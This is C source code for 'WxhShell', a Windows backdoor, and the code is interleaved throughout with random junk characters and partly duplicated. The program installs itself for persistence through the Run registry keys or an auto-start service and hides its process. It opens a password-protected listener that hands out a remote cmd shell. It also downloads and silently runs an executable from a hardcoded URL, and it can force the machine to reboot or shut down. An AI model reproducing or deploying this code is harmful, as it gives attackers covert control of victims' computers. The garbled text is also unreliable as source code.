g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MouYZI) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K^S#?T|[9 'a}{s>{O if (!NtQueryInformationProcess) return 0; Oq("E(z+f 4Zq5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xw%z#6l if(!hProcess) return 0;
-<sXvn x>@UqUJV if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O6pjuhMx }oG&zw CloseHandle(hProcess); :\[F= + y^s
6j} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w-2]69$k if(hProcess==NULL) return 0; JTC&_6 TCEbz8ql HMODULE hMod; P7o6B,9 char procName[255]; F
;D_zo? unsigned long cbNeeded; %>.v[d1c bQ)r8[o!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "@n$(-. qH
~usgqB7 CloseHandle(hProcess); -zkB`~u_ QUNsS9 if(strstr(procName,"services")) return 1; // 以服务启动 >i~c>+R P(4[<'HO return 0; // 注册表启动 O ?4V($ } n'gfB]H[ ?`r/_EKNv // 主模块 fq(e~Aqw$ int StartWxhshell(LPSTR lpCmdLine) rLnu\X=h$ { uO6_lOT9n SOCKET wsl; S8y4 p0mV BOOL val=TRUE; im'0^ int port=0; Ov9.qNT struct sockaddr_in door; ,[~EThcq l^_X?L@ if(wscfg.ws_autoins) Install(); g41LpplX f,1rmX1 port=atoi(lpCmdLine); !cpBX>{w >|s=l`"Xz if(port<=0) port=wscfg.ws_port; j@DyWm/7 @sDd:>t WSADATA data; IE6/
E if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @dXf_2Tv= CtfSfSAUuu if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `{/=i|6 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z23KSPo door.sin_family = AF_INET; yH`xk%q_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); SXT/9FteZ door.sin_port = htons(port); SlZu-4J.- UY+~xzm if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /b*@dy closesocket(wsl); kC+A7k6 return 1; _)|!.r&)63 } ?Cws25G $5A XE;~{ if(listen(wsl,2) == INVALID_SOCKET) { vfj Ipg%i closesocket(wsl); HCu1vjU(] return 1; UYPBKf]A9 } MMf6QxYf Wxhshell(wsl); \DHCf4, WSACleanup(); =nsY[ s< <7p2OPD return 0; d+^;kse YZk& 'w } rf~Ss< cO8;2u,Gvi // 以NT服务方式启动 _CZ* z VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t5_`q(: { ;?&;I! DWORD status = 0; 'W#<8eJo DWORD specificError = 0xfffffff; l]ZUKy }YjSv^ serviceStatus.dwServiceType = SERVICE_WIN32; d/^^8XUK serviceStatus.dwCurrentState = SERVICE_START_PENDING; VTHDGBU serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j7W_%Yk|E serviceStatus.dwWin32ExitCode = 0; l>G#+#{ serviceStatus.dwServiceSpecificExitCode = 0; Fg~,1[8w< serviceStatus.dwCheckPoint = 0; kA3kh`l serviceStatus.dwWaitHint = 0; O$$N{ '!0CwZ
7 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oqE
-q\!H if (hServiceStatusHandle==0) return; (=X16}n:> -P?}
qy^j( status = GetLastError(); 7HF\)cz2 if (status!=NO_ERROR) KGJB.<Be { lz( 9pz serviceStatus.dwCurrentState = SERVICE_STOPPED; wEp/bR1= serviceStatus.dwCheckPoint = 0; H5 -I}z serviceStatus.dwWaitHint = 0; |gaZq!l serviceStatus.dwWin32ExitCode = status; OS,$}I[`8 serviceStatus.dwServiceSpecificExitCode = specificError; H!A^ MI SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oe#k| return; %9Ue`8 } q^Z\V? hImCy9i} serviceStatus.dwCurrentState = SERVICE_RUNNING; v`fUAm/ serviceStatus.dwCheckPoint = 0; QXrK-&fju serviceStatus.dwWaitHint = 0; C]`Y PM5 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,lUo@+ } J]N}8 0 qdm!]w.G5 // 处理NT服务事件,比如:启动、停止 r=k}EP&< VOID WINAPI NTServiceHandler(DWORD fdwControl) .UDZW* { b:JOR@O switch(fdwControl) *dTw$T# { 1Zecl);O{ case SERVICE_CONTROL_STOP: p?`N<ykF< serviceStatus.dwWin32ExitCode = 0; ,Q:dAe[ZsX serviceStatus.dwCurrentState = SERVICE_STOPPED; _#+9)*A serviceStatus.dwCheckPoint = 0; .{}t[U serviceStatus.dwWaitHint = 0; 2 rH6ap { {> }U>V SetServiceStatus(hServiceStatusHandle, &serviceStatus); ANNL7Z3C } upJishy&I return;
[
~E}x case SERVICE_CONTROL_PAUSE: P-mrH serviceStatus.dwCurrentState = SERVICE_PAUSED; Glwpu-@X break; {Xp.}c case SERVICE_CONTROL_CONTINUE: ?-VN+
d7 serviceStatus.dwCurrentState = SERVICE_RUNNING; <Du*Re6g break; VMHY.Rf case SERVICE_CONTROL_INTERROGATE: 94R+S-|P break; $DVy$)a!u }; D9Z5g3s7R SetServiceStatus(hServiceStatusHandle, &serviceStatus); _&M>f? l } [ M'1aBx^ 8sg *qQ // 标准应用程序主函数 wVvU]UT int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &yN<@. { r
{8 I|M*yObl6 // 获取操作系统版本 >!2'|y^ OsIsNt=GetOsVer(); (
r O j,D GetModuleFileName(NULL,ExeFile,MAX_PATH); ooAZ,l=8 ]+Vcu zq/ // 从命令行安装 `=*svrmS if(strpbrk(lpCmdLine,"iI")) Install(); l ghzd6 ; YRZg|Zw // 下载执行文件 k (R4-"@ if(wscfg.ws_downexe) { v+OVZDf if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jQDxbkIuzE WinExec(wscfg.ws_filenam,SW_HIDE); u2eqVrY } \Q$);:=qQ gXQ)\MY if(!OsIsNt) { E%e-R6gl // 如果时win9x,隐藏进程并且设置为注册表启动 Q4x71*vy HideProc(); ovohl<o\ StartWxhshell(lpCmdLine); zM'-2, } Nh))U else XVfQscZe if(StartFromService()) rQqtejcfx // 以服务方式启动 7[)(;- StartServiceCtrlDispatcher(DispatchTable); ?/wloLS47 else 9p.>L8 // 普通方式启动 f[RnL#*xJU StartWxhshell(lpCmdLine); <ZiO[dEV h(L5MZs return 0; S]N4o'K}q } "f3>20} H1]\B: @^ e@.) 87Kx7CKF" =========================================== m"DMa wnX6XyUH *O;N"jf
Nm~#$orI| *}J_STM w&{J9'~ " _=] FJhO . ~<+ #include <stdio.h> 5"Yw$DB9 #include <string.h> g9XtE #include <windows.h> .EcM n #include <winsock2.h> |2# Ro* #include <winsvc.h> [=Z{y8#:J #include <urlmon.h> .>YJ95&\ ~I<y^]2{ #pragma comment (lib, "Ws2_32.lib") $enh45Wy #pragma comment (lib, "urlmon.lib") h2>0#Vp3j kD>vQ? #define MAX_USER 100 // 最大客户端连接数 -%.V0=G(Z #define BUF_SOCK 200 // sock buffer krA))cP #define KEY_BUFF 255 // 输入 buffer { SfU! `g=~u{0 #define REBOOT 0 // 重启 *pMA
V[^ #define SHUTDOWN 1 // 关机 !xI![N^ =Vs<DO{|4q #define DEF_PORT 5000 // 监听端口 H[r0jREK lg1D>=(mY #define REG_LEN 16 // 注册表键长度 f"Iyo:Wt #define SVC_LEN 80 // NT服务名长度 j66@E\dN )B_h"5X4\y // 从dll定义API zvD5i,I typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f/yK|[g~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H4,yuV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )sHPIxHI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =m:W 7r>W r# // wxhshell配置信息 K="+2]{I struct WSCFG { NS q=_8 int ws_port; // 监听端口 U ~m.I char ws_passstr[REG_LEN]; // 口令 0YL0Oa+7 int ws_autoins; // 安装标记, 1=yes 0=no #7=LI\ char ws_regname[REG_LEN]; // 注册表键名 St`m52V(5X char ws_svcname[REG_LEN]; // 服务名 E` |qFG< char ws_svcdisp[SVC_LEN]; // 服务显示名 r.^&%D char ws_svcdesc[SVC_LEN]; // 服务描述信息 A3_9MO
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e?>suIB int ws_downexe; // 下载执行标记, 1=yes 0=no R 6Em^A/> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fm0( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xhi?b| ks D1NB;9 }; gL`SZr9 $b} +5 // default Wxhshell configuration #pfosC[ struct WSCFG wscfg={DEF_PORT, JyO lVs<T "xuhuanlingzhe", %a `dOEO 1, k:Q<Uanc[ "Wxhshell", 3:Wr)>l}# "Wxhshell", gwJu&HA/ "WxhShell Service", I>aa'em "Wrsky Windows CmdShell Service", w C"%b#(} "Please Input Your Password: ", S41>VbtEp 1, P{18crC[1 "http://www.wrsky.com/wxhshell.exe", DF2&j! "Wxhshell.exe" Ysu/7o4 }; ; \+0H$ *q{UipZbx // 消息定义模块 $Stu-l1e a char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $P3nP=mf char *msg_ws_prompt="\n\r? for help\n\r#>"; OB22P% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?sYjFiE char *msg_ws_ext="\n\rExit."; &v,p_'k char *msg_ws_end="\n\rQuit."; U@nwSfp:G char *msg_ws_boot="\n\rReboot..."; hT"K}d;X char *msg_ws_poff="\n\rShutdown..."; E6M: ^p*< char *msg_ws_down="\n\rSave to "; _ GSw\r [<QWTMjR char *msg_ws_err="\n\rErr!"; 'Aj>+H<B char *msg_ws_ok="\n\rOK!"; 99K+7G\{ wjOAgOC char ExeFile[MAX_PATH]; S!_?# ^t int nUser = 0; ]?{lQ0vw'w HANDLE handles[MAX_USER]; 7`HUwu int OsIsNt; /&7Yi_]r #LJ-IDuF! SERVICE_STATUS serviceStatus; (N4(r<o; SERVICE_STATUS_HANDLE hServiceStatusHandle; 'OCo1|iK~ ->=++ // 函数声明 M7,MxwZ0k int Install(void); >N-% int Uninstall(void); "6Uj:9 int DownloadFile(char *sURL, SOCKET wsh);
+;;%Atgn int Boot(int flag);
}8 _9V|E void HideProc(void); J_|x^ int GetOsVer(void); yan[{h]EZ int Wxhshell(SOCKET wsl); KTt$Pt/. void TalkWithClient(void *cs); Xkom@F~] int CmdShell(SOCKET sock); ton`ji\^ int StartFromService(void); B}+9U int StartWxhshell(LPSTR lpCmdLine); uFZB8+ x35s6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tL{~O= VOID WINAPI NTServiceHandler( DWORD fdwControl ); .N&}<T[ _9|@nUD // 数据结构和表定义 G6{A[O[ SERVICE_TABLE_ENTRY DispatchTable[] = RI3{>|* { |wQZ~Ux: {wscfg.ws_svcname, NTServiceMain}, ue<<Y"NR {NULL, NULL} P1 stL, }; F
t/
x5 yX3H&F6 // 自我安装 3z92Gy5cr int Install(void) % T \N@ { sA-W^*+ char svExeFile[MAX_PATH]; U^BXCu1km HKEY key; 2 _n*u^X:_ strcpy(svExeFile,ExeFile); 3Lki7QW` ok%!o+nk. // 如果是win9x系统,修改注册表设为自启动 ;<@6f @ if(!OsIsNt) { rq["O/2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lFGxW 5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tkqBCKpDa RegCloseKey(key); OG7v'vmY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w*%$
lhp! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h\*rv5\M RegCloseKey(key); %L>nXj return 0; `)M\(_ } iCRw}[[ } '8kjTf#g<l } 9w;J7jgOT! else { :;q_f+U .y9rM{h}b // 如果是NT以上系统,安装为系统服务 gzCMJ<3!D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
I S8nvx\ if (schSCManager!=0) u;ooDIq@ { F%Umau*1 SC_HANDLE schService = CreateService =z1o}ga=EA ( m$mY<Q
schSCManager, ^@lg5d3F wscfg.ws_svcname, m:fouMS wscfg.ws_svcdisp, 124L3AG SERVICE_ALL_ACCESS, ivz9R' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]!G>8Rc SERVICE_AUTO_START, <` j[;>O SERVICE_ERROR_NORMAL, 2vdQ&H4 svExeFile, *a,.E6C* NULL, |4> r" NULL, 7h9[-d6 NULL, 4O_+4yS NULL, 3r:)\E+Q_ NULL fw v
T2G4 ); <&s)k if (schService!=0) w[7.@ %^[ { Xe3z6 CloseServiceHandle(schService); `}8@[iB' CloseServiceHandle(schSCManager); j /dE6d strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
p $1Rgm\ strcat(svExeFile,wscfg.ws_svcname); ?Ga2K if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #C;zS9(]B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]n]uN~)9 RegCloseKey(key); 7M#$: Fdb return 0; NQiecxvt= } C:GHP$/} } wQ=yY$VP CloseServiceHandle(schSCManager); ]RXtC* } )
~)SCN>- } /z)3gsF @S"pJeP/f return 1; a3dzok } Hl2f`GZ
CpRu*w{ // 自我卸载 R!k<l<9q int Uninstall(void) R-A'v&= { 2u*h*/ HKEY key; B?lBO
V4v4 56=K@$L {F if(!OsIsNt) { :O'C:n<g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9p\Hx#^ RegDeleteValue(key,wscfg.ws_regname); MHnf\|DX RegCloseKey(key); 5
2@udp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nl-t<#z[ RegDeleteValue(key,wscfg.ws_regname); Q_]!an( RegCloseKey(key); $dZ>bXUw: return 0; 5} MlZp } ELrZ8&5G } "gbnLKs } q?Ku}eID3 else { UC+7-y, le^_6|ek SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x<*IF,o if (schSCManager!=0) aEEz4,x_ { uVq5fT`B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V3 _b! if (schService!=0) Q3Z%a|3W { ~ACP%QM= if(DeleteService(schService)!=0) { SGBVR ^ CloseServiceHandle(schService); "wF
?Hamz CloseServiceHandle(schSCManager); _/jUs_W return 0; +\k9w.[:/ } Q k;Kn CloseServiceHandle(schService); *qO]v9 j } i{|lsd(+ CloseServiceHandle(schSCManager); %uz|NRB= } AFINm%\/0 } W7TXI~7 $h,&b<- return 1; }c35FM, } Z[})40[M T@Ss&eGT2 // 从指定url下载文件 VA=#0w int DownloadFile(char *sURL, SOCKET wsh) M2;%1^ { Esz1uty HRESULT hr; 2;%#C!TG; char seps[]= "/"; `CAG8D char *token; y|e2j&m char *file; rb *C-NutE char myURL[MAX_PATH]; dXhCyr%"6 char myFILE[MAX_PATH]; @~$F;M=.* c_qcb7<~. strcpy(myURL,sURL); --
i&" token=strtok(myURL,seps); 9raHSzK@d while(token!=NULL) ;# R3k { nIV.9#~& file=token; %="~\1y token=strtok(NULL,seps); 5Cc6,
] } Dm|gSv8d, g{A3W) [ b GetCurrentDirectory(MAX_PATH,myFILE); <ELziE~>V strcat(myFILE, "\\"); BcZEa^^~os strcat(myFILE, file); 42Aje send(wsh,myFILE,strlen(myFILE),0); f[JI/H> send(wsh,"...",3,0); d s|8lz, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?jNF6z*M6 if(hr==S_OK) w69>tC return 0; fuNl4BU else P[rAJJN/E return 1; -GDV[Bg
rV8(ia } |'U,/ ";)r*UgR{B // 系统电源模块 kZU"Xn int Boot(int flag) B^i mG { r~Y>+ln. HANDLE hToken; W>p\O9BG TOKEN_PRIVILEGES tkp; 5E]UI YAkV hi ;WFyJTu if(OsIsNt) { wUZQB1$F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NK+FQ^m[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '^Pq(b~ tkp.PrivilegeCount = 1; (j8GiJ]{L, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u;+%Qh AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?G4iOiyt if(flag==REBOOT) { ur/Oc24i1n if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H o4B return 0; 9nng}em>. } 2j8Cv:{Nn% else { sTKab
: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ELN|;^-/|Q return 0; ^H5w41 } V.K70)] } ZhGh{D[, else { Nl~Z,hT$* if(flag==REBOOT) { U/.w;DI if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !: m`9o8 return 0; :0M'=~[ } Ff[H>Lp~ else { u{g]gA8s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :FoOQ[Q return 0; **T:eI+ } "[awmZ:wo } 'fS?xDs-v JZ %`%rA return 1; W.yV/fu } gXq!a|eH k k
8R // win9x进程隐藏模块 t*o7,
void HideProc(void) E=;BI">. { Xy[}G p Z -pyFK\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qe2m8 if ( hKernel != NULL ) tegOT]| { !aQIh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d>^~9X ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5>'?:jY FreeLibrary(hKernel); ZvUp#8x(3 } "I5uDFZR& d>YmKTk" return; G{F6 } !c\7 X"kXNKV/n // 获取操作系统版本 `ifb<T int GetOsVer(void) :_MP'0QP { ?O!]8k`1$ OSVERSIONINFO winfo; $TR=3[j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :L]-'\y GetVersionEx(&winfo); NU|qX {- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _mw13jcN] return 1; 53bM+ else 1T!cc%ah return 0; Lqg]Fd } U!x0,sr 6e,Apj 0 // 客户端句柄模块 5_v5 int Wxhshell(SOCKET wsl) 3b<: :t { O-i4_YdVt SOCKET wsh; vB Sm=M struct sockaddr_in client; _i-\mR_~ DWORD myID; k&O C& $RpFxi
while(nUser<MAX_USER) \^yXc*C { D=2~37CzQ1 int nSize=sizeof(client); =nLO?qoe wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \.5F](: if(wsh==INVALID_SOCKET) return 1; .H ,pO#{; Dp^"J85}
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E
yd$fcRK if(handles[nUser]==0) @o`sf-8x closesocket(wsh); 1JIG+ZN md else VxNXd? nUser++; uH$oGY } ]GcV0&| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a/#+92C NK 8<=
n%" return 0; jz|VF,l } Cm^Ylp 2>g^4( // 关闭 socket 7@JjjV void CloseIt(SOCKET wsh) vxb@9eb!H { B
i'd5B5 closesocket(wsh); :
-E, nUser--; wc"9A~ ExitThread(0); u',b1 3g( } 5;}2[3}[ WmNA5;<Q // 客户端请求句柄 PVhik@Yoh void TalkWithClient(void *cs) @]*[c})/ { nZ~kZ |VS </,.K`''W SOCKET wsh=(SOCKET)cs; cxgE\4_u" char pwd[SVC_LEN]; 1^S'sWwe char cmd[KEY_BUFF];
l@xWQj9 char chr[1]; =`JW1dM int i,j; 'gYg~= z23#G>I& while (nUser < MAX_USER) { 46ILs1T6 ;"D~W#0-v if(wscfg.ws_passstr) { V5~fMsse
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^s=*J=k
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lHcA j{6 //ZeroMemory(pwd,KEY_BUFF); vlvvi() i=0; Cb4_ ?OR0 while(i<SVC_LEN) { ka/nQ~_#< To pHE // 设置超时 w"1x=+ fd_set FdRead; 7aV$YuL)X~ struct timeval TimeOut; aFyh, FD_ZERO(&FdRead); ,}KwP*:Z FD_SET(wsh,&FdRead); -U7,k\g TimeOut.tv_sec=8; l(#1mY5!q8 TimeOut.tv_usec=0; grc:Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >}CEN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M%3Wy"YQ,n "$r1$mBi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f$vwuW pwd=chr[0]; ?HV }mS[t if(chr[0]==0xd || chr[0]==0xa) { t-x[:i pwd=0; zOL;"/R break; ;uK";we } *<7l!# i++; g@Ld"5$^2 } &Bm&i.r 02(h={ // 如果是非法用户,关闭 socket BGN9,ii if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G?R_aPP } ,[Ag~.T 7|Xe&o<n send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %Uf'+!4l` send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _H8*ReFG 0Q`&inwh while(1) { PYu$1o9+N a_MFQf&KV ZeroMemory(cmd,KEY_BUFF); Ia#"/`|| w763zi{ // 自动支持客户端 telnet标准 !j0_
cA j=0; [3kl^TE while(j<KEY_BUFF) { +mLD/gK` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7k'gt/#up cmd[j]=chr[0]; &sdx`, if(chr[0]==0xa || chr[0]==0xd) { 6Kp}_^|z cmd[j]=0; @`S.@^%7fO break; w:Ra7ExP } $R?@L j++; IkQe~;Y } |g!`\@O s%O Y<B@V2 // 下载文件 4vLw?_". if(strstr(cmd,"http://")) { >L=;"+B0U& send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^&NN]? if(DownloadFile(cmd,wsh)) e8-ehs> send(wsh,msg_ws_err,strlen(msg_ws_err),0); T<6GcI>A else e^8BV;+c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *7Xzht&f } 0<Q*7aY else { o,*=$/or x6v,lR switch(cmd[0]) { p?kvW42/ ^KbL
,T // 帮助 *QE"K2\5 case '?': { *gDl~qNRoS send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NH4?q!'G break; ^Q\XGl } qe%V#c // 安装 #Kl}= 1
4 case 'i': { ot }6D if(Install()) #1gO?N(<= send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;{gT=,KQ` else O1'K>teF% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kp&3=e;vn{ break; W-m"@<Z } E30Z`$cz: // 卸载 iD714+N( case 'r': { #ouE r-= if(Uninstall()) B`1kG Ex . send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?-,6<K1 else j^ nu| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \c%g M1 break; `[Sl1saZ$S } $@.jZ_G // 显示 wxhshell 所在路径 e2wvc/gG6 case 'p': { F&az": char svExeFile[MAX_PATH]; H%z/v|e6 strcpy(svExeFile,"\n\r"); PJK9704 6 strcat(svExeFile,ExeFile); ;MPKJS68@ send(wsh,svExeFile,strlen(svExeFile),0); 9go))&`PJL break; T?rH
,$: } CmnHh~% // 重启 F>-}*o case 'b': { m#n]Wgp' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); * |KVN if(Boot(REBOOT)) x<>YUw8` send(wsh,msg_ws_err,strlen(msg_ws_err),0); P)hi||[ else { l!@ 1u^v2 closesocket(wsh); (O0byu} ExitThread(0); p[qg&VKB } 9!#EwPD$# break; gr+Pl>C{ } M*`hDdS // 关机 y/tSGkMv case 'd': { $r15gfne> send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F0.z i>5 if(Boot(SHUTDOWN)) (w$'o*z;( send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;==j|/ERe else { 4Jykos2 closesocket(wsh); QN g\4% ExitThread(0); FmD +8= } VB"(9O] break; iRve) } ix*muVBj. // 获取shell tvpN/p case 's': { x7$ax79ly CmdShell(wsh); "dtlME{Bx closesocket(wsh); %/pc=i|+ ExitThread(0); 6tm\L break; O{q&]~, } =/}X$,@2 // 退出 5@f5S0 Y case 'x': { &<0ZUI |S3 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }-nU3{1 CloseIt(wsh); H~Uq?!=b break; wOg,SMiq } %{'4.
, // 离开 g>n0z5&TNF case 'q': { A[JM4x
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >rf5)Y~f closesocket(wsh); GFL-.?
0 WSACleanup(); %l|\of7P2} exit(1); |' ;7v)CIG break; |^Kjz{ } 7I
>J$" } @i1q]0 } gtYRV*^q "8/dD]=f^a // 提示信息 m~>@BCn; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U^ ?=
0+ } J?D\$u: } 1;&T^Gdj nk/vGa4 return; |GuEGmR } (/?R9T[V&^ S#2[%o // shell模块句柄 (>AFyh&3,X int CmdShell(SOCKET sock) Dbz]{_Y; { 0roCP=; STARTUPINFO si; X| <yq ZeroMemory(&si,sizeof(si)); fj+O'X si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !^v\^Fc si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LNiS`o\ PROCESS_INFORMATION ProcessInfo; a.,_4;'UE1 char cmdline[]="cmd"; +)gB9DoK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ {cC return 0; E474l } ( 3;`bvYH" P']Y(
!L // 自身启动模式 =x
H~ww (D int StartFromService(void) 6N3@!xtpi { *Hunp Y typedef struct \ja `c)x { /80YZ DWORD ExitStatus; .'lN4x DWORD PebBaseAddress; 3dm'xetM DWORD AffinityMask; P4 6,o DWORD BasePriority; ~ 5"J( ULONG UniqueProcessId; [hHG. ULONG InheritedFromUniqueProcessId; /s`;9)G]9 } PROCESS_BASIC_INFORMATION; %g w{[
/[A g^j7@dum PROCNTQSIP NtQueryInformationProcess; Funj!x'uE aD|Yo static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HcO5?{2 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7cw]v"iv eq hAus?) HANDLE hProcess; o](.368+4 PROCESS_BASIC_INFORMATION pbi; Euu
,mleM `%y5\!X HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y<M]dd$ if(NULL == hInst ) return 0; :hP58 }Q$ !01i%W' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h8.FX-0& = g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [H^ X"D NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _}ele+ {D,RU8& if (!NtQueryInformationProcess) return 0; l%<c6; E}$V2ha0zu hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z,aGtJ.a'9 if(!hProcess) return 0; %U?)?iZdL oMc1:=EG if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |-61(X. %nQmFIt CloseHandle(hProcess); %3G;r\|r] 38wq ( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sX'nn if(hProcess==NULL) return 0; *#h;c1aP 3Gd|YRtk HMODULE hMod; Q52bh'cuU char procName[255]; kzi|$Gs< |